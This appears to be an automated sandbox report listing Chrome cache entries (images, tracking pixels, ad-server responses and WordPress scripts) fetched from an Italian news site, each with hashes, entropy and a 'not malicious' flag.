Preview:	<!DOCTYPE html>.<html>.<head>.<script type="text/html" id="admin-bar-likes">..<div id="wpadminbar" <% if ( isRtl ) { %> class="rtl" <% } %> >...<div class="quicklinks">....<ul><li id="wp-admin-bar-wpl-like">.....<a class="ab-item like" href="#"><%= label %></a>....</li></ul>...</div>..</div>.</script>..<script type="text/html" id='post-likes'>..<div class="sd-content wpl-likebox">...<% if ( canReblog && canUserReblog ) { %>...<div class="wpl-button reblog">....<a href="#" title='<%- reblog_feedback_no_html %>' class='<%- reblog_css_state %> sd-button' rel='nofollow'>.....<span><%= reblog_label %></span>....</a>...</div>...<% } %>...<% if ( canLike ) { %>...<div class="wpl-button <%- css_state %>">....<a href="#" title='<%- feedback_no_html %>' class='<%- css_state %> sd-button' rel='nofollow'>.....<span><%= label %></span>....</a>...</div>....<% if ( hasLikes ) { %>...<ul class="wpl-avatars sd-like-gravatars">....<% likers.forEach( function( item, key ) { %>.....<li class='<%- item.css

Chrome Cache Entry: 412

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 329x329, components 3
Category:	dropped
Size (bytes):	18923
Entropy (8bit):	7.954353043805605
Encrypted:	false
SSDEEP:	384:0gII6DtEgC9ONXmq7uXSO+LLLLLLLVR+a0zyMdoGp7vcrJMQOjDg:09DtVC9ONXmzXQLLLLLLLV5kpoGpzcr1
MD5:	BE5A2AE6F19C0B11C1F4FED2AE618C38
SHA1:	9BEA806BEFFE38ED1D6A8C0360A4AB7B74DD7613
SHA-256:	6CA2056A2AEB1986615D09DA1BEE37736CE2C6970AA88C0138A27B9847909484
SHA-512:	A3472576FA406DF5A4CB86DAF8226241B23CA971ED59522BBB8A50128CFCECBD3756B4FE176357F70421297149AF1A3C83887011311E623C86250FA5671509C8
Malicious:	false
Reputation:	low
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''......I.I..".......................................................................................!1..AQa...q..."...U6...2Rr.#Sc..tBb..s.....3C.4T5..$E.d........................!1AQ..aq..."R....2B....Ss4T...r.#3.b..$5.C.............?...................................................................R....t...r...EX.i$tR>6.ZKp..d...F^.}w......~.^...'..j..e."..FE.A....os.W1.<..u....]...ju...]...j..y.e.8..l.......2...X..N.2...X..T.'Y.H.O.l.......2...X..N.2...X..T.'Y.H.O.l.......2...X..N.2...../.U(..e.8...?...,.....$..%s9y...R.[&.6J.iq.g..wX.......<..vz..=cw...m....d....=S..R5......,..6\........x..]a.Fg........T.d..~d..v........*..=...P.x......E..[8..T%./1.F1....+9F.......Mpp.MA\..I..r.....TDE.........kK.p.I'P....a.y....V2.8mG..J....qqU.s...-.U.;$.k....S.G..tqp.T.4.

Chrome Cache Entry: 413

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.145760679283741
Encrypted:	false
SSDEEP:	3:vFWWMNHU8LdgCfpxIJikViJS4RKbuviyiFdfxcXl/OxuGQHRRAvn:TMVBd/faVic4subinfSlmSRRAv
MD5:	97D2E3C075A4EA1F775CCE418FDE177D
SHA1:	C52809A609DDC6A93BC3F2D934954AEF1A1CEC7D
SHA-256:	8CD629187427FDB93787D7156BE7A32C391BB2A8DA471BBAA274E806E48B36E7
SHA-512:	C3ECE0C86DDB1B546B503F2DF4309CCE64892113B64B15DAC2C5B7E9AB62D925DD3BA78C1AD2303AEF07D5233A11A0CC94E21A5A4264CE0A1D945F7BA3B34B03
Malicious:	false
Reputation:	low
URL:	https://pubads.g.doubleclick.net/gampad/ads?iu=%2F7047%2C22898733152%2Fapl%2Fshowheroes%2Fvast2&description_url=http%3A%2F%2Fbsnews.it&tfcd=0&npa=0&sz=400x300&gdfp_req=1&output=xml_vast4&unviewed_position_start=1&env=vp&correlator=622708487231388&vpa=auto&sdkv=h.3.629.1&osd=2&frm=0&vis=1&sdr=1&hl=en&is_amp=0&u_so=l&ctv=0&mpt=videojs-ima&sdki=445&ptt=20&adk=2044940861&sdk_apis=2%2C7%2C8&omid_p=Google1%2Fh.3.629.1&sid=EA12B335-679C-4E34-97A5-679AE24DB35E&a3p=EhsKDDMzYWNyb3NzLmNvbRiW5Iai6DFIAFICCGQSGAoJeWFob28uY29tGJbkhqLoMUgAUgIIZBIZCgp1aWRhcGkuY29tGJbkhqLoMUgAUgIIZBIcCg1jcndkY250cmwubmV0GJbkhqLoMUgAUgIIZBIZCgpwdWJjaWQub3JnGJbkhqLoMUgAUgIIZBIXCghydGJob3VzZRiW5Iai6DFIAFICCGQSFAoFb3BlbngYluSGougxSABSAghkEh0KDmVzcC5jcml0ZW8uY29tGJbkhqLoMUgAUgIIZA..&nel=1&eid=418572006%2C44772139%2C44776495%2C44777649%2C44781409%2C44806074%2C95321947%2C95322027%2C95323893%2C95324128%2C95326337&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&dlt=1711615881974&idt=15623&dt=1711615940438&cookie=ID%3D5a20f3698ac5543a%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw&gpic=UID%3D00000dd677e4c409%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MaPd99p4hleXn7g9hP9Umghtsik5A&scor=21004739623209&ged=ve4_td58_tt30_pd58_la58000_er897.718.1051.1018_vi0.0.907.1263_vp6_ts1_eb23275
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="vast.xsd" version="4.0"/>.

Chrome Cache Entry: 414

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	2536
Entropy (8bit):	7.9286431178459456
Encrypted:	false
SSDEEP:	48:PzFvItMXEopWtfFe6/ZUU++rn6D9u5g+vfYKuhJfUyAk18fzukyJW74:PzFvItpfEiaUFY9Agu2hWyAk18fzTEq4
MD5:	E1D76E6CF5A67C0736DA8BE061575DC5
SHA1:	5D006D6C7A6AAB6E774FA0DF2FAA54635AF2C5C1
SHA-256:	1D65944C4347CB1E65100B080C19B5AFDC90531F56D0945EE41FC822AFE92B1C
SHA-512:	3E838CAA80D8FFFABE9ACFA87B908A9770F1BB97F7F55E50E8E496698A61ACAD168DABBA384FA6A58C9566051D2ED0313FE352003560AAAAE0F79E468F1746B3
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2022/03/rage-gcf7ce407b_1920.jpg?resize=324%2C160&ssl=1
Preview:	RIFF....WEBPVP8 ....0[...D...>m0.F$%!./......i.../...._.....\|...c;u.W.q...K$..i.3E.C...A.9.Dn..2.Y.y.j["..S..xR]<.E.M..J..N7...;....L.....4.....W)..u...i..Q..).u..m-WH..r...\|........Un.v.L0./Y.-..L_........O".....D.Tc?......"..+...^.`...F.......O.lb..C.=..;V..#O...G......d./j....F..W...5[......DZ.3.B..*.#........6.q..X........E............$I.=cXvM.qi.....HF.)...i.tW..mR...,.6$..i.U.>..=#.Fu....t.W\|. DE...tZ5..........KY.m.Ig(/K....hT...)x.c.A.....;.`.O,S.f..D..xn.......1:Q.......9..3...y.......,A...4y...+.Y.5..'W..A....i.i.g.[w....{s...L....Q.9_i.kKW.!T.%......Gy..Ph..a~0K..F..ci..{.[..>......7<...Jb..L..n.p...c.?.bq....t...S.y3...F..p.!......]..23S..k........O.-.>.N..o...Gi.=.....4.Z......{.........L. j.J....Q..6.{.....]..\~.B._"E:...Ma>j(....1.y.:5<.[..NO....k...?......\|.g..Z#o3.`.v.ds.-3>.3.&............?.....@.!....-.z.>.......4.......f.2-H.8..@=.....2WdW.Jy.wU...FU...v@.j.^5xu..Y..g....IA.9>.J..N..{`eTF...1...d..8....c;..

Chrome Cache Entry: 415

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.280052635092167
Encrypted:	false
SSDEEP:	6:6v/lhPfOSaRquXhkrTLI8SY0LHD5AE5hJQ2cheVp:6v/7eSaDik8SY0DD5AoJtcO
MD5:	388940C42991EFD9EB33F133E3280696
SHA1:	C6B4C460D1CCB5833DEB7844423C54C5F2CD2394
SHA-256:	D65F4B2E8EEE94DDC7F762D098DE19558D879A3B597C8913B4D075532E3ED4B4
SHA-512:	5E103C4E4FAC6343E7A133DC80970C98D5B843BDCA4C5E613F9CAAA5BD295C272E7D3EDA1937FB553CB91111497A25B33DC8B8AA80157D49E92BB70BA5F8F476
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............(-.S...`PLTE................................................................................................\|%......tRNS.....!.\4....v..2...)....~....CI}....[IDATx..G..0.DQ............Ydv.!.}/j..9..b@.....u.........3.....40..n`q...^.\9.qH..~..._..H<.\|.....IEND.B`.

Chrome Cache Entry: 416

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/rum?cm_dsp_id=4&external_user_id=2748817227883608021
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 417

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6482), with no line terminators
Category:	dropped
Size (bytes):	6482
Entropy (8bit):	5.386219794662181
Encrypted:	false
SSDEEP:	192:UaveH+XTFLLgXxQRCJS3ZE1m1j/YMvKTP+pmY2/:UdqTFPKt16EMiY2/
MD5:	A4D296427FC806B21335359E398C025C
SHA1:	46928CCD1407B4E55192BB9D0A07DCFEBD9687B7
SHA-256:	06B99248A163333E36980A6CFB756F1A7DE60FA49517162B87B1A44D5D48F844
SHA-512:	4C0326040E2C7837FA78185CC5A185EA43697DD4F3591757F84BDA76BAC746BADFBE047DAC2C1DC677561FD6CC6C5D5B4BEBB7D671CB82AB04E070DA766FE6AF
Malicious:	false
Reputation:	low
Preview:	var amzn_aps_csm=amzn_aps_csm\|\|{};amzn_aps_csm.errors=[],amzn_aps_csm.reportErrors=function(a){var b,c;for(/^https?:\/\//.test(a)===!1&&(a=document.location.protocol+"//"+a),"/"!==a.substr(a.length-1)&&(a+="/"),b=0;b<amzn_aps_csm.errors.length;b++)c='{"adViewability":[{"error": {"m": "'+amzn_aps_csm.errors[b]+'"}}], "c": "aps_communicator", "api": "RTB", "error": 1}',"https:"===document.location.protocol&&/^http:\/\//.test(a)===!0&&(a=a.replace("http://","https://")),(new Image).src=a+c+"?cb="+Math.round(1e7*Math.random());amzn_aps_csm.errors=[]},function(a){function b(a){return a?a.replace(/^\s+\|\s+$/g,""):a}function c(a){if(a&&a.s){var b,c=a.s.length>0?a.s[0]:"",d=a.s.length>1?a.s[1]:"";c&&(b=c.match(j)),b&&3===b.length\|\|!d\|\|(b=d.match(i)),b&&3===b.length&&(a.f=b[1],a.l=b[2])}}function d(a,d){if(d=d\|\|{},!a)return{};a.m&&a.m.message&&(a=a.m);var i,j,k,l,m,n={m:e(a,d),c:a.c?""+a.c:a.c,s:[],l:a.l\|\|a.line\|\|a.lineno\|\|a.lineNumber,name:a.name,type:a.type},o=0,p=0;if(i=a.stack\|\|(a.err?a.err

Chrome Cache Entry: 418

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (1060)
Category:	dropped
Size (bytes):	1099
Entropy (8bit):	5.432519646071734
Encrypted:	false
SSDEEP:	24:2dXt9WYzO5hT8FbzXh6vEFM+sBntvwCCZV9UkCrTuRXKr5c:c2Yz8TOYviMnhYJCTuRXEc
MD5:	B163E6730775886E96F077A6375DA341
SHA1:	1A78329FC94E7217655955FA22D10C2736AD7110
SHA-256:	7CBF8054ADE00686A825B68DDF7FBB20474EF333AE72F94087993DA130DA4672
SHA-512:	49F38FC6BB159B3D49E9FCE65D9048DD574AB43D7351546D93EB2C422C395CFC320C518A69E9D21CEA468155FB1A9C53E4194966AF8A30FC2054ACB8BAFCC147
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=portodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 </VASTAdTagURI><Error><![CDATA[https://s.company-target.com/s/mctv?xuid=5c99a009bd184d5ca3b7885003b720e3&rid=30f2e100c3804685b89bc432e7fc41cf </Error><Impression/><

Chrome Cache Entry: 419

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	425
Entropy (8bit):	3.8412411247154417
Encrypted:	false
SSDEEP:	3:YPxXdgn2VAhrrVXZVIkx7f+0JHJjLTDobNaaaaaaaaaaaaaaxaaaaxzfyG3MtE5t:YP5anfNr1Zi47fxHjzozz/iJE8p0r3
MD5:	FFB446DB2754FB5075801802D8FC965E
SHA1:	F658DEA00F978881DFE270554D1EEEB066131DE8
SHA-256:	FD4C89FD72B5C22F04886038230DB363684B0753DB6DAD99D2A31FFE465CAE7D
SHA-512:	721973EEF4B22C394FB82E5EA8E83E252B262B31D91C810C54BDE5F2D60B9AB196BDF0092B18D5DEC8BFEC82363D86E7AC56BB817DEAEDB69D36DF0AEA9033D0
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/gampad/ads?pvsid=1536995679409651&correlator=1017315805515774&eid=31079957%2C31081973%2C95327887%2C676982961%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=150134580%3A22663223301%2CBSNEWS-DSK-Spalla-dx-300X600-ATF&enc_prev_ius=%2F0%2F1&prev_iu_szs=300x250%7C300x600&ifi=6&didk=315054745&sfv=1-0-40&rcs=2&eri=1&sc=1&cookie=ID%3D5a20f3698ac5543a%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw&gpic=UID%3D00000dd677e4c409%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MaPd99p4hleXn7g9hP9Umghtsik5A&abxe=1&dt=1711615924545&lmt=1711560111&adxs=842&adys=593&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=0&ucis=2&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=324x636&msz=324x0&fws=4&ohw=324&psts=AOrYGskLglVJDo4Ukk29bFmosV1TZI4B1gjDftTBwJFzLoZVG9fVfXuFjY-eh0-FDR-hLaow7OPAuTtafYQUTFA%2CAOrYGslsriMWrMZfbuyWD3scjX5EX9icZGjJjFjHYGDToB3vrsuu_t2o_RSnrAJ919nxIdNvwmYBTQ131oj3qJZ2pxFbYNyG&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=3&tps=3&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8xNTAxMzQ1ODAsMjI2NjMyMjMzMDEvQlNORVdTLURTSy1TcGFsbGEtZHgtMzAwWDYwMC1BVEYiLFtdXV1dLG51bGwsM10.&dlt=1711615858499&idt=23182&prev_scp=refreshType%3Dinterval%26refreshCount%3D2%26amznbid%3D1%26amznp%3D1&cust_params=consent%3Dyes&adks=979779281&frm=20&eo_id_str=ID%3Dcc6c7834f606d8cb%3AT%3D1711615883%3ART%3D1711615883%3AS%3DAA-AfjaA5FLn8-B8c9rY-TlRBBKM
Preview:	{"/150134580/BSNEWS-DSK-Spalla-dx-300X600-ATF":["html",0,null,null,0,250,300,1,0,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,0,null,null,null,null,null,null,"AOrYGslXqzWxZnMwa10HhsoG5C0a","CJ7IhJvKloUDFX3BKAUdfVcG9Q",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"2",null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,[]]}..

Chrome Cache Entry: 420

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/rum?cm_dsp_id=88&external_user_id=ZgUvkQAB4q7dwAA-
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 421

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3345), with no line terminators
Category:	downloaded
Size (bytes):	3345
Entropy (8bit):	5.019282783774305
Encrypted:	false
SSDEEP:	48:UuGAhH4cnYOCGbnxBBoXheeh1tRdEPgrLTW6Fe60lRrgFtu8rrooNLArK4XgCibS:U9Y4wNduQeJYgXe626rnroohssCxb
MD5:	6A0174D2A74009F4D0348EA9A20C78D4
SHA1:	F547407EFAC416FAE6C7C882DF866432D0597226
SHA-256:	F72EA1589B707FEB0D369C239E89CC4CA754D70645C76E3A61BA0AF9D69BBA8C
SHA-512:	4540C9152BF6AF16830876F6CA9870D77E590E2F82C3E628B73B2CEBE3A17D754E29657AFA402CF1814741497C65E429353373CDF6BC516BF76B18980840BBF7
Malicious:	false
Reputation:	low
URL:	https://s0.wp.com/wp-content/js/rlt-proxy.js?m=20211122
Preview:	(function(){var e;var t;var n;var o=[];var r=false;var i="jetpack:wpcomRLT";function a(e){var t=document.createElement("a");t.href=e;return t.origin}function c(t){if(!e){return}rltInjectToken(e,t.target.contentWindow,a(t.target.src))}function d(){var e=document.querySelectorAll("iframe");for(var t=0;t<e.length;t++){var n=e[t];if(l(n)){n.addEventListener("load",c)}}var o=new MutationObserver(function(e,t){for(var n=0;n<e.length;n++){var o=e[n];if(o.type==="childList"){for(var r=0;r<o.addedNodes.length;r++){var i=o.addedNodes[r];if(i instanceof HTMLElement&&i.nodeName==="IFRAME"&&l(i)){i.addEventListener("load",c)}}}}});o.observe(document.body,{subtree:true,childList:true})}function l(e){if(!Array.isArray(n)){return}return n.indexOf(a(e.src))>=0}function s(e,t,n){if(t&&typeof t.postMessage==="function"){try{t.postMessage(JSON.stringify({type:"rltMessage",data:{event:"invalidate",token:e,sourceOrigin:window.location.origin}}),n)}catch(e){return}}}window.rltInvalidateToken=function(n,o){if

Chrome Cache Entry: 422

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	dropped
Size (bytes):	771
Entropy (8bit):	6.908939349525579
Encrypted:	false
SSDEEP:	12:oNSSQDR1Nws0pFItTuuG+IaFTDbjj9X194LVhGSuqyM3N/Y4cv4ZimsDjnUA/lU:Xj+fbBuzFj3aL3GyJa0im6jUA/e
MD5:	00EF871B291BC03A497D608A5BD8EC99
SHA1:	942D8FE092C1C473AF19906751C2BEE5322A9B55
SHA-256:	81A161D5793AC2A33F02DDCD64FB0DC2D028616DAC084E4F64E77F4898B0C4E4
SHA-512:	659AA4AC73230A847E7D836D486EE04289D73B3D3E7000A9A3333F6E40804D0CCB57DBACD999C0DBB730D5566520B27A0068A94D6087EA52F6A65E36B308190D
Malicious:	false
Reputation:	low
Preview:	GIF89a.....................................wul..y............!..NETSCAPE2.0.....!.......,..........O......{....Y.`....I.D8..+S....(.......D..(.I~.. .H`...Z.f....k.N..q..;'.L..!.......,..........N.......{..@.1....Q]AiN.:..)S.T..,.......b....$?...Q(0.).j.f....{....n.-~N...!.......,..........M........,Eeu.....%5..E...f3. .....g(..<...L...D".X`.RJ.J.N..........9..=..!.......,..........N...J..Z.'B. ..q`.....P)8./,S&.$.$......y....D...."..`.R.ak.b.........m..^S...!.......,..........M......Z.gJ.....}.H..I...b$.(.t..}.....~9..@Y,2.........i00......\|.....t;..!.......,..........M...R..Z..R.. ..}.H..I.l...t.P0....B....v>.CG1.2...i.P...J.0.R-.....J....t;..!.......,..........M.....Z..Z..$..}.H..I.l...at..0........8..B d..L.I.B)...q80...&..t.....3..;

Chrome Cache Entry: 423

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	6716
Entropy (8bit):	7.974866644444763
Encrypted:	false
SSDEEP:	96:7ShagDkK4c0CfNoEp2wPYbpA1eVbNAqJxUCd27ZCII1mDhuJKq02MOw5:7S3kCtHpwu1cJLxUCd27ZxhEQOw5
MD5:	E4D62D5CE9BD6F0D218D316B0F55924F
SHA1:	347E6B7F911A1360611BACE11A961821301A55A7
SHA-256:	8FF4F37F91D2311C277D89E840DE2CCEEC359A1E3F60B5A4FF7322B24114F477
SHA-512:	7F434F3580BE49121008E8D7181743DD9F8CA9B0D1E4BC7A31AA7A458F1A936FD77A632AFB0399C462D6169E689040479593EF88EA3A46E008C9C6E5C36BC050
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/maxresdefault.jpg?resize=324%2C160&ssl=1
Preview:	RIFF4...WEBPVP8 (........D...>m0.G.".!(q....e..d.kw."..VW.%.+.....O....^~{...<...d.v.4P]..c:?.tEx@......\|J.......W4x?.M....o..=.zc$.`\Ufo.....g.n....]........K..,...4...4..("..0.B.4<#..'.v.....b.$.R.3...?-...c.....R...Y\.U..b{...k.nT.....<.fn+.a.O.#(.0.<......%...5hfR.o..f.onX.E....x.Z.O=.)...nA..l.f.......7.^urZSo.b......$..Vk..Q..eX.......(.......!........K&..lun.GX.V..1aa.#A..=.......r.Ns`......}........{-.Z{..A..)U..K...8.)....!...Db.u.(....#...YHt=/..V.6.hG3+I.`.L..3.........I<.....d..h.....8....3#.=.....z.....y....aw....`.3..u'....(8@.W......:.pe5M=.........T=.+.8_y.........c#.r..L.oQ.]..&.c.I..hXK$.WCj.i.g......}.Zv(...9.S...J..AG..\o\|-q......ft.....q...s..>.....$}Z......B......X...G..F..._.....Z.....504.F...,.1...........E....$.5_b...IY4....S;^^...G.tM...../.Jz.~gi.O....._t.p.....{...s......\|....c...).....]$a\|...N....%V...R...(.........$.JQp..)<"G:...+.'.{f8_1G:...\.....1...6..X.I?...L..yWV..k....?..E.....,>X........qw..-H.@..

Chrome Cache Entry: 424

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 728 x 90
Category:	downloaded
Size (bytes):	49746
Entropy (8bit):	7.876047092808563
Encrypted:	false
SSDEEP:	1536:F5wvIP+6/jhAka5pZZV/Zn7jd0XZHhKySFc:F5+IP+wjhxa5pZZP10X/KySu
MD5:	9F015D59B614354E327AD6B5D98A88D3
SHA1:	60E659C9A8B228E392AAE6527E2D3F91BB956A52
SHA-256:	C25B6307BD32E023C9DF6717674EF47544B34AB68418E3CDF36CF910663C7C2D
SHA-512:	D5A3325906A8215043D4827555B9E19A5AB76E643B351E18793AF4AAE079F58CFD5BC6B2CE082A8A83C7468AAFEF44979D0B70034480F4F2FA076980A00DF01C
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/uploads/2024/03/BSNEWS-728-x-90-1.gif
Preview:	GIF89a..Z....,q......I.......Ws..,.......Gei...s......g\\...K.......o........'...........H))x......K..1...9Z.Pn.....iX...+dr.d}...Bz..yfX...SI...Ul.I5.............w`.8....\u....... t.T.Jt.......om.v.Wn.JsB;...d...........bU.2..#.[F...U..A..p.A`..............8+..,.....fM:>.Lf......:ES......".....&.<~<~..0Cna....4.................................jG.~~....Tp......!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:74c85442-d16c-441d-a59d-457ac629d7ca" xmpMM:DocumentID="xmp.did:AC9ED58DCF1511EEBF40F59D33716E8B" xmpMM:InstanceID="xmp.iid:A

Chrome Cache Entry: 425

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 426

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13603), with no line terminators
Category:	downloaded
Size (bytes):	13603
Entropy (8bit):	5.24962307644651
Encrypted:	false
SSDEEP:	192:nK33Sz9zpw8jvl8Jpl8vwtrbw8/BJ97Rn28N2NmjjgpV6ctQQsy8Py5i/DC+zn2T:K3CB1PqvDBRnBoNmjjR6L72+
MD5:	50118686EC9AA9FBBEF520707716C8CF
SHA1:	21981CB65A6415C35C19838F2553D18DF3AB46D8
SHA-256:	A4712966004CD2B5F59EC7D5456513C268AF1FA35BCCCFA60006B7F423B9DA7E
SHA-512:	09F16AD3AD7040AC433D46654BBFEA1DDDA72427DE25A489341C59C3E52AEC3CD0E53C89F8F6A905B58DCD899187431291CAE3563AFF10B30695FF546774ABEE
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdLogin.js?ver=12.6.5
